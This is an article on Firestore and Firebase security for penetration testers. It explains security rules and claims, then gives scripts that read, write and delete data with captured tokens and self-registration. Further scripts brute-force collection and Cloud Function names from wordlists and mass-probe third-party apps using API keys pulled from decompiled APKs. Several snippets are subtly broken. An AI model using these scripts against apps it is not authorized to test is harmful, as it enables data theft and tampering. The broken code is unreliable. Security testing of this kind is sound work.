Firestore security is an important topic for modern applications. Its wide usage and serverless architecture may cause security issues in the areas such as authentication, authorization, and data exposure. Especially they are exposed to data leakages, which may be caused by a non-serveless design approach. In a world of multi-tier applications, using a backend database, the data stored inside the DB was secured by default and could be accessed only if there is a server code that accesses it. In a world of serverless components, all your DB’s content is wide open unless security rules were set. This goes for both collections and the data inside them. Even though collection may have sufficient authentication and authorization, they may include sensitive fields that shouldn’t be exposed to the end-users. While in non-serverless architecture, these fields would just be neglected throughout server-side queries, in a serverless world if the document is accessible to a user, all of its fields are accessible.
The goal of this article is to combine all Firestore security-related information in one place. While there is a lot of developer-targeted documentation, there are scattered pieces of security-related information and code examples. The article should be helpful for penetration testers and architects involved in planning a secure design for solutions utilizing Firestore DB.
Firestore is a NoSQL document database, a fully managed service that provides a flexible, scalable, and real-time data storage solution for your mobile, web, and server-side applications. It is built on Google’s infrastructure and is designed to automatically scale as the data and usage grow. The main components of the Firestore database structure are:
The actions that are exposed in Firestore include the following:
There are several incentives to use Google Firestore, a NoSQL document database, in your application:
There are several security layers and configuration options available in Firestore to help secure the data:
To ensure the security of the Firestore database, you can use a combination of authentication types, security rules, and access control measures. The authentication layer restricts who can authenticate to the system and will define requirements for the end-users token. Security rules define the conditions under which data can be read, written, or deleted in the database, while access control measures determine which users or groups of users have permission to access the data. If you do not properly secure your Firestore database, it may be possible for unauthorized individuals to access and read the data stored in it. This could occur if you have not set up proper authentication and/or authorization controls.
Firebase Authentication supports the following authentication methods:
After the successful authentication, the end user will receive a dedicated JWT token that will be used to access the database.
One way to control access to data stored in Firestore is through the use of authentication and access control lists (ACLs). Here are a few examples of how you might use authentication and ACLs in Firestore:
If the security rules for a Firestore database are not properly configured, it could potentially allow unauthorized access to the data. This could include allowing read or write access to sensitive data or allowing malicious users to execute unintended actions on the database.
Here are some examples of access control rules for Firestore:
Allow all users to read from the “public” collection, but only allow authenticated users to write to it:
service cloud.firestore {
match /databases/{database}/documents {
match /public/{document} {
allow read: if true; allow write: if request.auth.uid != null;
}
}
}
Only allow users with the “admin” role to read and write to the “admin” collection:
service cloud.firestore {
match /databases/{database}/documents {
match /admin/{document} {
allow read, write: if request.auth.token.roles.hasAny(["admin"]);
}
}
}
Only allow authenticated users to read and write to the “users” collection:
service cloud.firestore {
match /databases/{database}/documents {
match /users/{userId} {
allow read, write: if request.auth.uid != null;
}
}
}
Only allow the owner of a document to read and write to it:
service cloud.firestore {
match /databases/{database}/documents {
match /users/{userId} {
allow read, write: if request.auth.uid == userId;
}
}
}
Keep in mind that these are just a few examples, and you can use the Firestore security rules language to define much more complex and customized access control rules for the database.
Firestore access control rules can use the claims of a Firebase authenticated user to grant or deny access to specific documents or collections. Claims are custom attributes that you can assign to a user’s token when they authenticate using Firebase Authentication.
Here’s an example of how you can use claims in your Firestore access control rules to implement an ACL (access control list) system:
service cloud.firestore {
match /databases/{database}/documents {
match /projects/{projectId} {
allow read, write: if request.auth.token.admin == true || request.auth.token.projects.hasAny([projectId]); }
}
}
In this example, the rule allows users with the admin claim set to true to read and write to any project document. It also allows users with a projects claim that contains the projectId of the document to read and write to that specific document.
To assign claims to a user’s token, you can use the Firebase Admin SDK or the Firebase client SDK. For example, to assign the admin claim to a user’s token using the Firebase Admin SDK (using Firestore admin access), you can do the following:
const admin = require('firebase-admin');
admin.auth().setCustomUserClaims('test-user', {
admin: true
}).then(() => {
console.log('Claims set successfully');
});
This will set the admin claim to true for the user with the UID of test-user. You can then use this claim in your Firestore access control rules to grant the user access to certain resources.
To ensure the security of the data in Firestore, it is important to follow best practices in the following areas:
There are several ways to programmatically access Firestore, depending on your programming language and the platform you are using. Here are some examples:
To use the Firestore API to access the data, you need to provide the following connection details:
When Firestore requires authentication, an authentication token should also be provided.
To test Firestore using JavaScript you should use Firebase SDK. You’ll need to include the Firebase Authentication and Firestore libraries in your JavaScript code.
Here is an example of how you could use JavaScript to perform penetration testing on the access controls for a Firestore collection:
<script src="https://www.gstatic.com/firebasejs/8.10.1/firebase-app.js"></script>
<script src="https://www.gstatic.com/firebasejs/8.10.1/firebase-auth.js"></script>
<script src="https://www.gstatic.com/firebasejs/8.10.1/firebase-firestore.js"></script>
<script src="https://www.gstatic.com/firebasejs/8.10.1/firebase.js"></script>
<script src="https://www.gstatic.com/firebasejs/8.10.1/firebase-functions.js"></script>
<script>
// Initialize the Firebase app
// Replace YOUR_FIREBASE_CONFIG with your actual Firebase config object
firebase.initializeApp({ YOUR_FIREBASE_CONFIG });
var firebaseConfig = {
"apiKey": "AIXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
"authDomain": "PROJECTNAME.firebaseapp.com",
"databaseUrl": "https://PROJECTNAME.firebaseio.com",
"projectId": "PROJECTNAME",
"storageBucket": "PROJECTNAME.appspot.com",
"messagingSenderId": 1111111111111,
"appId": ""
};
// Initialize the Firebase SDK
var app = firebase.initializeApp(firebaseConfig, Date.now().toString());
app.auth().signInWithCustomToken(
"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.{\"aud\":\"https://identitytoolkit.googleapis.com/google.identity.identitytoolkit.v1.IdentityToolkit\",\"iat\":1673432605,\"exp\":1673436205,\"iss\":\"[email protected]\",\"sub\":\"[email protected]\",\"uid\":\"mtsATf9KBTWbpqXwT05HljnjE8iaGxvAmBYHu21wRgo=\",\"claims\":{\"userId\":\"YYYYY\",\"tenantId\":\"BBBBBB\"}}.DpRmJxTupj4WkYtFw1oZURsrTtabrl_QEJU3VkNbL8VCFdkjtbOYcO1XqdVtcTq6yiyNCToxaMAbNXhbAPtdpqs6Rj75vwSySjDI8kJEg9zYqixrgqsVSqUphjMnBXK99lLSu9XdH5NEUfd-6aQ1Q0E1_0_0xHpYL8_67c7jFeLPhl2XZLQdUNTabkPDrm978tJcy9M8AJg-yGRO8wZsVFe3Yja-0-agLaFvrkc2XuC95ZUPDNz2XWHcAqC4fPemkegZBB9oo8Y_dUZ7SF_E6gW77muY_PeE9rFykNTnA6OzjfJJcGEN2pT3_AY2bx-YhZpaKXjxjJAFx-05G6KJ2w"
);
// Set the collection reference const
collectionRef = firestore.collection(collectionId);
let collectionRef = db.collection("TestCollection");
// Get all documents from the collection and print them as JSON to the console
let allDocs = collectionRef.get()
.then(snapshot => {
let collectionData = [];
snapshot.forEach(doc => {
let data = doc.data();
collectionData.push(data);
});
console.log(JSON.stringify(collectionData));
})
.catch(err => {
console.log('Error getting documents', err);
});
</script>
This code initializes the Firebase SDK with a custom JWT token (take the token from the running application proxy logs), gets the Firestore instance, and sets a reference to the collection with the specified ID. It then attempts to read the collection using the get() method. If the operation is successful, it means that the current user has read access to the collection. If the operation fails, it means that the user does not have read access or that the collection does not exist.
You can use similar code to test write and delete access to the collection by using the add(), update(), and delete() methods.
The Firestore REST API allows you to interact with Firestore from any environment that can send HTTP requests. Here is an example of how to use the Firestore REST API in Python to read a document:
import requests
import json
# Set baseline unique Firestore instance connection details
# For Python / RestAPI project id and Firebase JWT tokens are mandatory
# jwt_token - firebase authentication token; if custom authentication is used, then custom JWT should be exchanged to Firebase token (POST to https://www.googleapis.com/identitytoolkit/v3/relyingparty/verifyCustomToken?key=PROJECT_jwt_token {"token":"CUSTOM_TOKEN","returnSecureToken":true}) which require also the api key of the Firestore project
jwt_token = "JWT-Token"
project_id = "your-project-id"
# Set the headers
headers = {"Authorization": f"Bearer {jwt_token}", "Content-Type": "application/json"}
collection_id = "your-collection-id"
document_id = "your-document-id"
# This example sends a GET request to the Firestore REST API to read a document with the specified ID in the default database of your Firebase project. The response is a JSON object that contains the fields of the document.
# Send the request
base_url = f"https://firestore.googleapis.com/v1/projects/{project_id}/databases/(default)/documents/{document_id}"
response = requests.get(base_url, headers=headers)
# Get the document data
document = response.json()
data = document["fields"]
print(data)
# Here is an example of how to use the Firestore REST API in Python to write a document
# This example sends a PATCH request to the Firestore REST API to update a document with the specified ID in a collection with the specified ID in the default database of your Firebase project. The request includes the fields of the document in the request body as a JSON object.
base_url = f"https://firestore.googleapis.com/v1/projects/{project_id}/databases/(default)/documents/{collection_id}/{document_id}"
# Set the document data
data = {"fields": {"name": {"stringValue": "John Smith"}, "age": {"integerValue": 30}}}
# Send the request
response = requests.patch(base_url, json=data, headers=headers)
# Check the response status
if response.status_code == 200:
print("Document updated successfully.")
else:
print("Error updating document.")
The code below checks if self-registration is set. In such a case it may be possible to get un-authenticated access to Firestore data and potentially to circumvent incorrectly set ACLs that else, with a legitimate user may not be possible to circumvent.
var email = "[email protected]";
var password = "kjashdokh8&^*(0jasd";
firebase.auth().createUserWithEmailAndPassword(email, password);
firebase.auth().signInWithEmailAndPassword(email, password).then(function (user) {
console.log('Login successful!', user);
}).catch(function (error) {
console.error('Error:', error);
});
firebase.firestore().doc('users/test').get().then(function (doc) {
console.log('Document data:', doc.data());
}).catch(function (error) {
console.error('Error:', error);
});
You can use the signInAnonymously() method to sign in a user anonymously if it is configured.
firebase.auth().signInAnonymously().then(function (user) {
console.log('Anonymous login successful!', user);
}).catch(function (error) {
console.error('Error:', error);
});
firebase.firestore().doc('users/test').get().then(function (doc) {
console.log('Document data:', doc.data());
}).catch(function (error) {
console.error('Error:', error);
});
var provider = new firebase.auth.GoogleAuthProvider();
firebase.auth().signInWithPopup(provider).then(function (result) {
var user = result.user;
console.log('Login successful!', user);
}).catch(function (error) {
console.error('Error:', error);
});
To test authorization for access to a Firestore collection using JavaScript, you can use the get() method of the Firestore API to try to read a document from the collection. This method takes a document path as an argument and returns a promise that resolves with the document data if the read is successful, or rejects with an error if the read is not allowed by the security rules.
Actually, as detailed in the Firestore JS SDK documentation, retrieving a list of collections IS NOT possible with the mobile/web client libraries (non-admin credentials). This is true for the root collections of the Firestore database and also for the sub-collections.
To test collection access controls we need to extract a list of collection names from the source code and try accessing them manually.
Here are a couple of examples of getting data from the collection/documents using JavaScript SDK
//Firestore initialization + authentication
// getting content of single collection
db.collection("users").get().then((querySnapshot) => {
querySnapshot.forEach((doc) => {
console.log(JSON.stringify(doc.data()));
});
});
// Getting content of document inside a collection
db.collection("Users").doc("users1").get().then((querySnapshot) => {
querySnapshot.forEach((doc) => {
console.log(JSON.stringify(doc.data()));
});
});
// nested collections
db.collection("Users").doc("users1").collection("files").get().then((querySnapshot) => {
querySnapshot.forEach((doc) => {
console.log(JSON.stringify(doc.data()));
});
});
// nested documents and nested collections
db.collection("app").document("users").collection(uid).document("notifications").get().then((querySnapshot) => {
querySnapshot.forEach((doc) => {
console.log(JSON.stringify(doc.data()));
});
});
// getting specific fields
db.collection("users").get()
.then((querySnapshot) => {
querySnapshot.forEach((doc) => {
// doc.data() is never undefined for query doc snapshots
results += doc.id + "," + doc.data().account + "," + doc.data().displayName + "," + doc.data().logo + "," + doc.data().XXX + "," + JSON.stringify(doc.data().YYY) + "," + doc.data().ZZZ + "\n";
});
});
Here are the steps to extract Firestore collection names from 3rd party Javascript and other client-side code.
To grep for the collection and document paths in third-party source code you can use the grep command-line utility or use the regEx in Chrome DevTools.
grep -E "\.collection\(['\"][^'\"]+['\"]\)\." -r ./*
grep -oP '(?<=db\.collection\()(.*?)(?=\))|(?<=doc\()(.*?)(?=\))' -r ./*
You can use a similar approach to search for collection and document paths in other types of source code, such as Android code or Chrome DevTools. Just be sure to use the appropriate pattern that matches the way collection and document paths are used in the source code.
app = firebase.initializeApp(TestfirebaseConfig, Date.now().toString());
app.auth().signInWithCustomToken("JWT_TOKEN");
db = app.firestore();
await fetch(
"https://raw.githubusercontent.com/drtychai/wordlists/master/sqlmap/common-tables.txt")
.then((response) => response.text()).then((text) => {
text.split('\n').forEach(line => {
if ((line.indexOf("#") == -1) && line != "") {
db.collection(line).get().then((querySnapshot) => {
console.log(JSON.stringify(querySnapshot.data))
})
}
});
}).catch(() => null);
Here’s an example of how you might use this method to test authorization for access to a collection using JavaScript code:
firebase.firestore().collection('users').doc(user.uid).get().then(function (doc) {
console.log('Document data:', doc.data());
}).catch(function (error) {
console.error('Error:', error);
});
In this example, the get() method is trying to read a document with the user’s unique ID from the “users” collection. If the security rules for the collection allow the current user to read the document, the promise will resolve with the document data. If the security rules do not allow the current user to read the document, the promise will reject with an error.
You can use this approach to test authorization for various actions on a collection, such as reading, writing, or deleting documents. For example, you could try to write a new document to the collection like this:
firebase.firestore().collection('users').add({
name: 'Test User',
email: '[email protected]'
}).then(function (doc) {
console.log('Document added with ID:', doc.id);
}).catch(function (error) {
console.error('Error:', error);
});
In this example, the add() method is trying to write a new document to the “users” collection. If the security rules for the collection allow the current user to write the document, the promise will resolve with the newly created document. If the security rules do not allow the current user to write the document, the promise will reject with an error.
To update a document in Cloud Firestore using the JavaScript client library, you can use the update() method of the DocumentReference class. Here is an example of how you can update a document:
// Get a reference to the document to be updated
var docRef = db.collection('collection').doc('document');
// Update the document
docRef.update({
field: 'new value'
}).then(function() {
console.log('Document updated successfully');
}).catch(function(error) {
console.error('Error updating document: ', error);
});
docRef.update({
field1: 'new value 1',
field2: 'new value 2'
});
// Get a reference to the document to be deleted
var docRef = db.collection('collection').doc('document');
// Delete the document
docRef.delete().then(function() {
console.log('Document successfully deleted');
}).catch(function(error) {
console.error('Error deleting document: ', error);
});
async function BF(TestfirebaseConfig) {
// console.log(TestfirebaseConfig.databaseUrl);
app = firebase.initializeApp(TestfirebaseConfig, Date.now().toString());
app.auth().signInWithCustomToken("JWT_TOKEN");
db = app.firestore();
await fetch(
"https://raw.githubusercontent.com/drtychai/wordlists/master/sqlmap/common-tables.txt")
.then((response) => response.text()).then((text) => {
text.split('\n').forEach(line => {
if ((line.indexOf("#") == -1) && line != "") {
db.collection(line).get().then((querySnapshot) => {
console.log(JSON.stringify(querySnapshot.data))
})
}
});
}).catch(() => null);
}
async function BF_ALL() {
var appsToTest = [{
"google_app_id": "",
"firebase_database_url": "https://xxxx.firebaseio.com",
"App": "xxxx",
"google_api_key": "AIzaXXXXXXXXXXXXX"
}
//more apps configs
]
var TestfirebaseConfig = null;
var app = null;
var db = null;
for (var i = 0; i < appsToTest.length; i++) {
app = appsToTest[i];
if (typeof app.firebase_sender_id !== 'undefined') {
console.log(JSON.stringify(app));
TestfirebaseConfig = {
"apiKey": app.google_api_key,
"authDomain": app.firebase_project_id + ".firebaseapp.com",
"databaseUrl": app.firebase_database_url,
"projectId": app.firebase_project_id,
"storageBucket": app.firebase_project_id + ".appspot.com",
"messagingSenderId": app.firebase_sender_id,
"appId": app.google_app_id
};
console.log(JSON.stringify(TestfirebaseConfig));
BF(TestfirebaseConfig);
}
if ((typeof app.firebase_database_url !== 'undefined') && (typeof app.google_app_id !==
'undefined') && (typeof app.google_api_key !== 'undefined')) {
var
projectName = app.firebase_database_url.substring(app.firebase_database_url.lastIndexOf("/") + 1,
app.firebase_database_url.indexOf("."));
TestfirebaseConfig = {
"apiKey": app.google_api_key,
"authDomain": projectName + ".firebaseapp.com",
"databaseUrl": app.firebase_database_url,
"projectId": projectName,
"storageBucket": projectName + ".appspot.com",
"messagingSenderId": "",
"appId": app.google_app_id
};
console.log(JSON.stringify(TestfirebaseConfig));
await BF(TestfirebaseConfig);
console.log(i);
}
}
}
# Getting Firebase connection details from APKs
{
# Extract a list of APKs using Jadx into a single folder and run this code to extract Firestore connection details
# FOR %I in (*.*) do ("jadx.bat" "%I" --output-dir "%I_o" --export-gradle)
$ResultsArrayList = [System.Collections.ArrayList]::new()
$dirs = Get-ChildItem -Directory
foreach ($dir in $dirs) {
[xml]$XDoc = Get-Content "./$($dir.Name)/app/src/main/res/values/strings.xml"
echo $dir.Name
$ele = @{}
$ele.add("App", $dir.Name)
if ($Xdoc.resources.string.name.indexof("firebase_database_url") -ne -1) { $ele.Add("firebase_database_url", $Xdoc.resources.string.get($Xdoc.resources.string.name.indexof("firebase_database_url")).innerXML) }
if ($Xdoc.resources.string.name.indexof("google_app_id") -ne -1) { $ele.Add("google_app_id", $Xdoc.resources.string.get($Xdoc.resources.string.name.indexof("google_app_id")).innerXML) }
if ($Xdoc.resources.string.name.indexof("google_api_key") -ne -1) { $ele.Add("google_api_key", $Xdoc.resources.string.get($Xdoc.resources.string.name.indexof("google_api_key")).innerXML) }
if ($Xdoc.resources.string.name.indexof("firebase_google_api_key") -ne -1) { $ele.Add("firebase_google_api_key", $Xdoc.resources.string.get($Xdoc.resources.string.name.indexof("firebase_google_api_key")).innerXML) }
if ($Xdoc.resources.string.name.indexof("firebase_project_id") -ne -1) { $ele.Add("firebase_project_id", $Xdoc.resources.string.get($Xdoc.resources.string.name.indexof("firebase_project_id")).innerXML) }
if ($Xdoc.resources.string.name.indexof("firebase_release_google_app_id") -ne -1) { $ele.Add("firebase_release_google_app_id", $Xdoc.resources.string.get($Xdoc.resources.string.name.indexof("firebase_release_google_app_id")).innerXML) }
if ($Xdoc.resources.string.name.indexof("firebase_sender_id") -ne -1) { $ele.Add("firebase_sender_id", $Xdoc.resources.string.get($Xdoc.resources.string.name.indexof("firebase_sender_id")).innerXML) }
$ResultsArrayList.add($ele)
}
}
Cloud functions are somehow similar to AWS Lambda functions. They can be accessed externally and may expose sensitive features/actions to an unauthorized caller.
Cloud Functions for Firebase is a serverless platform that allows you to run your code in response to events triggered by Firebase and Google Cloud services. You can use Cloud Functions to implement backend logic for your Firebase app, extend and connect Firebase services, and automate tasks.
With Cloud Functions, you can write code in Node.js that is executed in response to a specific trigger, such as a change in data in a Firebase Realtime Database, the creation of a new document in a Cloud Firestore collection, or the receipt of a new message in a Cloud Pub/Sub topic. The code you write is hosted and executed in a fully managed environment, so you don’t need to worry about scaling, monitoring, or maintaining infrastructure.
Cloud Functions is particularly useful for implementing backend logic that integrates with other Firebase and Google Cloud services, such as sending push notifications, triggering cloud storage operations, or performing data analysis with BigQuery. It’s also a powerful tool for automating tasks, such as optimizing images, validating data, or sending emails.
To use Cloud Functions, you’ll need to set up a Firebase project, install the Firebase CLI, and write and deploy your functions using the Firebase Console or the CLI. You can also use the Cloud Functions for Firebase client libraries to interact with your functions from your app.
To find references to Firebase Cloud Functions in third-party Android and JavaScript code:
Once you have found references to Firebase Cloud Functions in the code, you can review the code to understand how the functions are being used and whether they can be abused.
function bfCloudFunction() {
var firebaseConfig = {
"apiKey": "AIXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
"authDomain": "PROJECTNAME.firebaseapp.com",
"databaseUrl": "https://PROJECTNAME.firebaseio.com",
"projectId": "PROJECTNAME",
"storageBucket": "PROJECTNAME.appspot.com",
"messagingSenderId": 1111111111111,
"appId": ""
}
// Initialize Firebase WEB
var app = firebase.initializeApp(firebaseConfig, Date.now().toString());
app.auth().signInWithCustomToken("JWT_TOKEN");
var db = app.firestore();
var fbFunctions = app.functions();
fetch(
"https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/burp-parameter-names.txt"
)
.then((response) => response.text()).then((text) => {
text.split('\n').forEach(line => {
if ((line.indexOf("#") == -1) && line != "") {
var addMessage = fbFunctions.httpsCallable(line);
addMessage({
text: "messageText"
})
.then((result) => {
// Read result of the Cloud Function.
console.log(JSON.stringify(result.data.text));
});
}
});
});
}